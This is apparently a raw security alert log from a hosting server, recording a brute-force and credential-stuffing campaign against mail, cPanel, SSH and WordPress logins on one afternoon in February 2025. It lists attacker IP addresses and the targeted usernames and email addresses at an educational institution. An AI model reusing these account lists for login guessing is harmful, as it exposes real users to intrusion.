name: Exim Auth failed
abuser: 129.205.14.196
country_id: 226074
description:
2025-02-07 16:49:42 dovecot_plain authenticator failed for ([129.205.14.196]) [129.205.14.196]:40014: 535 Incorrect authentication data (set_id=ads15a00028y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.236.82.124
country_id: 3865483
description:
2025-02-07 16:49:25 dovecot_login authenticator failed for (124.82.236.45.cable.dyn.ridsa.com.ar) [45.236.82.124]:59885: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2025-02-07 16:49:29 dovecot_plain authenticator failed for ([203.252.10.3]) [203.252.10.3]:41640: 535 Incorrect authentication data (set_id=ads15a00028y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.4.255.205
country_id: 1835841
description:
2025-02-07 16:49:29 dovecot_login authenticator failed for ([59.4.255.205]) [59.4.255.205]:36965: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.233.3
country_id: 99237
description:
Feb  7 16:49:33 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.233.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.3
country_id: 99237
description:
2025-02-07 16:49:35 dovecot_plain authenticator failed for ([65.20.233.3]) [65.20.233.3]:58016: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 105.154.6.52
country_id: 2542007
description:
[2025-02-07 16:50:15 +0100] info [webmaild] 105.154.6.52 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.76.161.99
country_id: 289688
description:
Feb  7 16:50:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.76.161.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.36.151.150
country_id: 3469034
description:
2025-02-07 16:50:59 dovecot_plain authenticator failed for (vipturbo.com.br) [191.36.151.150]:52961: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.108.201.20
country_id: 1835841
description:
Feb  7 16:50:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.108.201.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.201.20
country_id: 1835841
description:
2025-02-07 16:50:47 dovecot_login authenticator failed for ([106.10.69.50]) [183.108.201.20]:51355: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.224.221
country_id: 1168579
description:
Feb  7 16:50:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.224.221 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.57.224.221
country_id: 1168579
description:
2025-02-07 16:50:51 dovecot_plain authenticator failed for ([103.57.224.221]) [103.57.224.221]:36109: 535 Incorrect authentication data (set_id=dagyarko@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.76.161.99
country_id: 289688
description:
2025-02-07 16:50:59 dovecot_login authenticator failed for ([89.211.42.163]) [80.76.161.99]:1163: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.34.158.19
country_id: 3144096
description:
2025-02-07 16:50:37 dovecot_plain authenticator failed for ti0004q160-7861.bb.online.no [95.34.158.19]:51440: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.36.151.150
country_id: 3469034
description:
Feb  7 16:50:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.36.151.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.244.54.4
country_id: 798549
description:
2025-02-07 16:51:07 dovecot_login authenticator failed for (ADMIN) [143.244.54.4]:46030: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.34.158.19
country_id: 3144096
description:
Feb  7 16:50:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.34.158.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.19.47.79
country_id: 3469034
description:
Feb  7 16:51:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.19.47.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.19.47.79
country_id: 3469034
description:
2025-02-07 16:51:02 dovecot_plain authenticator failed for ([187.19.47.79]) [187.19.47.79]:8169: 535 Incorrect authentication data (set_id=dagyarko)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.205.188.107
country_id: 298795
description:
[2025-02-07 16:51:23 +0100] info [webmaild] 154.205.188.107 - info@ijari.us "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.149.220.148
country_id: 1269750
description:
Feb  7 16:51:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.149.220.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.149.220.148
country_id: 1269750
description:
2025-02-07 16:51:28 dovecot_plain authenticator failed for (static-146.220.149.202-tataidc.co.in) [202.149.220.148]:42880: 535 Incorrect authentication data (set_id=info@elmisa.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.222.80.77
country_id: 690791
description:
2025-02-07 16:51:40 dovecot_login authenticator failed for ([91.222.80.77]) [91.222.80.77]:39592: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.50.48.86
country_id: 298795
description:
Feb  7 16:51:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.50.48.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.50.48.86
country_id: 298795
description:
2025-02-07 16:51:44 dovecot_plain authenticator failed for ([212.50.48.86]) [212.50.48.86]:47162: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.206.113.91
country_id: 1835841
description:
Feb  7 16:51:52 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.206.113.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2025-02-07 16:51:54 dovecot_login authenticator failed for ([175.206.113.91]) [175.206.113.91]:33344: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.105.234
country_id: 1668284
description:
Feb  7 16:52:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.105.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.222.80.77
country_id: 690791
description:
Feb  7 16:51:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.222.80.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.131
country_id: 2017370
description:
Feb  7 16:51:52 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.131
country_id: 2017370
description:
2025-02-07 16:51:54 dovecot_plain authenticator failed for ([178.178.194.131]) [178.178.194.131]:33922: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.234
country_id: 1668284
description:
2025-02-07 16:52:17 dovecot_plain authenticator failed for 110-25-105-234.adsl.fetnet.net [110.25.105.234]:45073: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.60.194.189
country_id: 2510769
description:
Feb  7 16:52:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.60.194.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.253.235
country_id: 99237
description:
2025-02-07 16:52:34 dovecot_plain authenticator failed for ([213.32.253.235]) [213.32.253.235]:39989: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.209.175
country_id: 2635167
description:
Feb  7 16:52:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.154.209.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.209.175
country_id: 2635167
description:
2025-02-07 16:52:44 dovecot_login authenticator failed for (nlpWS0b) [165.154.209.175]:61428: 535 Incorrect authentication data (set_id=eharry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.96.160.37
country_id: 1814991
description:
2025-02-07 16:52:47 dovecot_plain authenticator failed for ([211.96.160.37]) [211.96.160.37]:36164: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.147
country_id: 1835841
description:
2025-02-07 16:53:09 dovecot_login authenticator failed for ([218.149.228.147]) [218.149.228.147]:38390: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.32.253.235
country_id: 99237
description:
Feb  7 16:52:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.32.253.235 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.36.72
country_id: 1880251
description:
47.128.36.72 - - [07/Feb/2025:16:52:32 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15701382 HTTP/1.1" 302 0 aitedu.us "http://aitedu.us/open/index.php?Itemid=300&catid=25%3Athe-project&id=347%3Afaqs-on-academic-fields&layout=default&option=com_content&print=1&tmpl=component&view=article" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.36.72


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.60.194.189
country_id: 2510769
description:
2025-02-07 16:52:34 dovecot_plain authenticator failed for 81.60.194.189.dyn.user.ono.com [81.60.194.189]:60124: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.96.160.37
country_id: 1814991
description:
Feb  7 16:52:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.96.160.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.165.23
country_id: 1269750
description:
Feb  7 16:52:54 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.165.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.118.165.23
country_id: 1269750
description:
2025-02-07 16:52:56 dovecot_login authenticator failed for ([45.118.165.23]) [45.118.165.23]:53856: 535 Incorrect authentication data (set_id=info@ait-open.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.147
country_id: 1835841
description:
Feb  7 16:53:07 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.27.81
country_id: 1562822
description:
2025-02-07 16:53:28 dovecot_plain authenticator failed for ([27.71.27.81]) [27.71.27.81]:13431: 535 Incorrect authentication data (set_id=ads21b00180y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.251.233.179
country_id: 798544
description:
Feb  7 16:53:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.251.233.179 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.156.208.66
country_id: 1269750
description:
Feb  7 16:53:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.156.208.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.208.66
country_id: 1269750
description:
2025-02-07 16:53:44 dovecot_plain authenticator failed for ([115.244.25.186]) [103.156.208.66]:34926: 535 Incorrect authentication data (set_id=ads21b00180y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.168.100.230
country_id: 1814991
description:
Feb  7 16:53:46 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.168.100.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.209.175
country_id: 2635167
description:
2025-02-07 16:53:49 dovecot_login authenticator failed for (ttw4qn) [165.154.209.175]:57854: 535 Incorrect authentication data (set_id=eharry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.202.1.58
country_id: 3469034
description:
2025-02-07 16:53:57 dovecot_plain authenticator failed for ([177.202.1.58]) [177.202.1.58]:57523: 535 Incorrect authentication data (set_id=assdas1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.228.51.213
country_id: 2017370
description:
Feb  7 16:53:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.228.51.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.209.175
country_id: 2635167
description:
Feb  7 16:53:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.154.209.175 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.98.160.176
country_id: 1562822
description:
Feb  7 16:53:29 ait sshd[1907798]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.98.160.176


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.100.230
country_id: 1814991
description:
2025-02-07 16:53:48 dovecot_plain authenticator failed for ([180.168.100.230]) [180.168.100.230]:38681: 535 Incorrect authentication data (set_id=ads22b00295y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.202.1.58
country_id: 3469034
description:
Feb  7 16:53:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.202.1.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.27.81
country_id: 1562822
description:
Feb  7 16:53:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.27.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.251.233.179
country_id: 798544
description:
2025-02-07 16:53:40 dovecot_plain authenticator failed for apn-87-251-233-179.static.gprs.plus.pl [87.251.233.179]:48903: 535 Incorrect authentication data (set_id=assdas1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.228.51.213
country_id: 2017370
description:
2025-02-07 16:53:27 dovecot_plain authenticator failed for broadband-5-228-51-213.ip.moscow.rt.ru [5.228.51.213]:52898: 535 Incorrect authentication data (set_id=ads22b00295y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.230.64.246
country_id: 1512440
description:
Feb  7 16:55:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.230.64.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.177.3.82
country_id: 6252001
description:
2025-02-07 16:54:51 dovecot_plain authenticator failed for ip98-177-3-82.ph.ph.cox.net [98.177.3.82]:58411: 535 Incorrect authentication data (set_id=ads21b00202y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.209.175
country_id: 2635167
description:
2025-02-07 16:54:50 dovecot_login authenticator failed for (06YI87gPJ) [165.154.209.175]:59633: 535 Incorrect authentication data (set_id=eharry)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.42.79
country_id: 1819730
description:
Feb  7 16:55:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.42.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.79
country_id: 1819730
description:
2025-02-07 16:55:18 dovecot_plain authenticator failed for 079.42.246.220.static.netvigator.com [220.246.42.79]:56462: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.22.247.178
country_id: 1835841
description:
2025-02-07 16:54:28 dovecot_plain authenticator failed for ([115.22.247.178]) [115.22.247.178]:48863: 535 Incorrect authentication data (set_id=ads21b00202y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.209.175
country_id: 2635167
description:
Feb  7 16:54:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.154.209.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.22.247.178
country_id: 1835841
description:
Feb  7 16:54:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.22.247.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.21.191.178
country_id: 3175395
description:
Feb  7 16:55:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.21.191.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.21.191.178
country_id: 3175395
description:
2025-02-07 16:55:02 dovecot_plain authenticator failed for host-79-21-191-178.retail.telecomitalia.it [79.21.191.178]:41712: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.72.128.185
country_id: 3469034
description:
Feb  7 16:55:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.72.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.72.128.185
country_id: 3469034
description:
2025-02-07 16:55:08 dovecot_plain authenticator failed for (187-072-128-185.static.ctbctelecom.com.br) [187.72.128.185]:47002: 535 Incorrect authentication data (set_id=abs18b00066y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.64.246
country_id: 1512440
description:
2025-02-07 16:55:18 dovecot_plain authenticator failed for ([213.230.64.246]) [213.230.64.246]:38838: 535 Incorrect authentication data (set_id=abs18b00066y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.251.31.42
country_id: 1562822
description:
Feb  7 16:55:21 ait sshd[1908422]: pam_imunify(sshd:auth): [IM360_RBL] The IP 171.251.31.42 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 171.251.31.42
country_id: 1562822
description:
Feb  7 16:55:21 ait sshd[1908422]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.251.31.42  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.177.3.82
country_id: 6252001
description:
Feb  7 16:54:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.177.3.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.130.207.117
country_id: 294640
description:
2025-02-07 16:55:59 dovecot_plain authenticator failed for bzq-85-130-207-117.static-ip.bezeqint.net [85.130.207.117]:57216: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.18.106.15
country_id: 6252001
description:
Feb  7 16:56:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.18.106.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.52.253.175
country_id: 1814991
description:
2025-02-07 16:56:14 dovecot_plain authenticator failed for ([111.52.253.175]) [111.52.253.175]:58014: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.18.106.15
country_id: 6252001
description:
2025-02-07 16:56:14 dovecot_plain authenticator failed for pool-108-18-106-15.washdc.fios.verizon.net [108.18.106.15]:32966: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.130.207.117
country_id: 294640
description:
Feb  7 16:55:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.130.207.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.48.113.101
country_id: 1835841
description:
Feb  7 16:56:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.48.113.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.48.113.101
country_id: 1835841
description:
2025-02-07 16:56:04 dovecot_plain authenticator failed for ([211.48.113.101]) [211.48.113.101]:34826: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.52.253.175
country_id: 1814991
description:
Feb  7 16:56:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.52.253.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.82.20.241
country_id: 1819730
description:
Feb  7 16:57:21 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.82.20.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.82.20.241
country_id: 1819730
description:
2025-02-07 16:57:23 dovecot_plain authenticator failed for 202-82-20-241.static.imsbiz.com [202.82.20.241]:57334: 535 Incorrect authentication data (set_id=ads18a00007y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 171.251.31.42
country_id: 1562822
description:
Feb  7 16:56:31 ait sshd[1909357]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.251.31.42


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.65.252.77
country_id: 3932488
description:
2025-02-07 16:57:19 dovecot_plain authenticator failed for ([181.65.252.77]) [181.65.252.77]:48271: 535 Incorrect authentication data (set_id=ads21b00206y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.251.31.42
country_id: 1562822
description:
Feb  7 16:56:31 ait sshd[1909357]: pam_imunify(sshd:auth): [IM360_RBL] The IP 171.251.31.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.68.0.210
country_id: 1814991
description:
2025-02-07 16:56:57 dovecot_plain authenticator failed for ([218.68.0.210]) [218.68.0.210]:37857: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.129.235.240
country_id: 6252001
description:
2025-02-07 16:57:08 dovecot_login authenticator failed for (ADMIN) [102.129.235.240]:10207: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.213.101
country_id: 99237
description:
2025-02-07 16:57:07 dovecot_plain authenticator failed for ([65.20.213.101]) [65.20.213.101]:50682: 535 Incorrect authentication data (set_id=agbozume1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.129.200.113
country_id: 2077456
description:
2025-02-07 16:56:57 dovecot_plain authenticator failed for (115-129-200-113.tpgi.com.au) [115.129.200.113]:41395: 535 Incorrect authentication data (set_id=agbozume1@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.213.101
country_id: 99237
description:
Feb  7 16:57:05 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.213.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.48.113.101
country_id: 1835841
description:
Feb  7 16:57:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.48.113.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.48.113.101
country_id: 1835841
description:
2025-02-07 16:57:12 dovecot_plain authenticator failed for ([211.48.113.101]) [211.48.113.101]:48200: 535 Incorrect authentication data (set_id=eng22a00061y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.68.0.210
country_id: 1814991
description:
Feb  7 16:56:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.68.0.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.129.200.113
country_id: 2077456
description:
Feb  7 16:56:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.129.200.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.65.252.77
country_id: 3932488
description:
Feb  7 16:57:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.65.252.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.174.252.131
country_id: 1814991
description:
2025-02-07 16:57:39 dovecot_plain authenticator failed for ([39.174.252.131]) [39.174.252.131]:60834: 535 Incorrect authentication data (set_id=ads18a00007y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.98.160.176
country_id: 1562822
description:
Feb  7 16:58:01 ait sshd[1909826]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.98.160.176


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 3.109.181.164
country_id: 1269750
domain: hostels.ait-edu.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:hostel||WPU:hostel||RSV:6.65||T:APACHE||MV:16-58.3.109.181.164


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.152.108.61
country_id: 6252001
description:
Feb  7 16:57:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.152.108.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.152.108.61
country_id: 6252001
description:
2025-02-07 16:57:29 dovecot_plain authenticator failed for syn-098-152-108-061.biz.spectrum.com [98.152.108.61]:43609: 535 Incorrect authentication data (set_id=ads21b00206y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.174.252.131
country_id: 1814991
description:
Feb  7 16:57:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.174.252.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.94.125.250
country_id: 2017370
description:
Feb  7 16:58:26 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.94.125.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 16:58:45 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.241.247.150
country_id: 3469034
description:
2025-02-07 16:58:49 dovecot_plain authenticator failed for ([191.241.247.150]) [191.241.247.150]:49290: 535 Incorrect authentication data (set_id=mumuni)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.239.255.163
country_id: 2017370
description:
